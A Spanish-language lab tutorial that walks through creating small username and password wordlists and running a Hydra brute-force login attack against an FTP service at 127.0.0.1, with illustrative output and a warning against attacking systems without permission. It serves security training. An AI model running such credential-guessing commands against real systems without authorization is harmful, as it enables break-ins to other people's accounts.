Crear una lista de nombres de usuario:
En su directorio ~/project
, cree un archivo llamado users.txt
que contenga una lista de nombres de usuario, un nombre de usuario por línea. Por ejemplo:
nano ~/project/users.txt
Agregue los siguientes nombres de usuario:
user1
user2
user3
Guarde el archivo y salga de nano
(Ctrl+X, Y, Enter).
Crear una lista de contraseñas:
En su directorio ~/project
, cree un archivo llamado passwords.txt
que contenga una lista de contraseñas, una contraseña por línea. Por ejemplo:
nano ~/project/passwords.txt
Agregue las siguientes contraseñas:
password123
password
123456
Guarde el archivo y salga de nano
(Ctrl+X, Y, Enter).
Ejecutar el ataque FTP sin salida detallada:
Ahora, ejecutemos el ataque de Hydra contra un servidor FTP objetivo. Con fines de demostración, utilizaremos un objetivo ficticio 127.0.0.1
. Importante: No intente atacar sistemas sin permiso explícito.
Ejecute el siguiente comando:
hydra -L ~/project/users.txt -P ~/project/passwords.txt ftp://127.0.0.1
-L ~/project/users.txt
: Especifica el archivo de la lista de nombres de usuario.
-P ~/project/passwords.txt
: Especifica el archivo de la lista de contraseñas.
ftp://127.0.0.1
: Especifica el servicio FTP y la dirección del servidor objetivo.
Nota: Dado que no hay un servidor FTP en ejecución en 127.0.0.1
, el ataque fallará. Sin embargo, este comando demuestra la sintaxis básica para ejecutar un ataque FTP sin salida detallada. Hydra intentará cada combinación de nombre de usuario y contraseña, pero solo mostrará los resultados si se encuentra un inicio de sesión exitoso. Si no se encuentra un inicio de sesión exitoso, mostrará un mensaje indicando que no se descifró ninguna contraseña.
La salida se verá similar a esto (aunque probablemente con mensajes de "Login failed" ya que no hay un servidor FTP real):
Hydra v9.5 (c) 2023 by van Hauser/THC - Use freely but carefully.
Hydra starting at 2023-10-27 10:00:00
[DATA] 1 task, 3 login attempts per task, 3 password attempts per task
[DATA] attacking ftp://127.0.0.1:21
[STATUS] 0.00 tries/min, 0 tries in 0 min, 1 task
[STATUS] 0.00 tries/min, 0 tries in 0 min, 1 task
...
[ATTEMPT] target 127.0.0.1 - login: user3 password: 123456
[STATUS] 0.00 tries/min, 0 tries in 0 min, 1 task
[ERROR] 127.0.0.1: FTP: Login failed
[ATTEMPT] target 127.0.0.1 - login: user1 password: password123
[STATUS] 0.00 tries/min, 0 tries in 0 min, 1 task
[ERROR] 127.0.0.1: FTP: Login failed
...
[ATTEMPT] target 127.0.0.1 - login: user3 password: password123
[STATUS] 0.00 tries/min, 0 tries in 0 min, 1 task
[ERROR] 127.0.0.1: FTP: Login failed
[ATTEMPT] target 127.0.0.1 - login: user2 password: password
[STATUS] 0.00 tries/min, 0 tries in 0 min, 1 task
[ERROR] 127.0.0.1: FTP: Login failed
...
[STATUS] 0 of 9 tasks completed, 1 task remaining
Hydra finished.
Si se encontrara un inicio de sesión exitoso, la salida incluiría una línea como:
[21][ftp] host: 127.0.0.1 login: user1 password: password123
Dado que no estamos ejecutando un servidor FTP real, el ataque fallará y Hydra informará que no se descifró ninguna contraseña. Esto es lo esperado.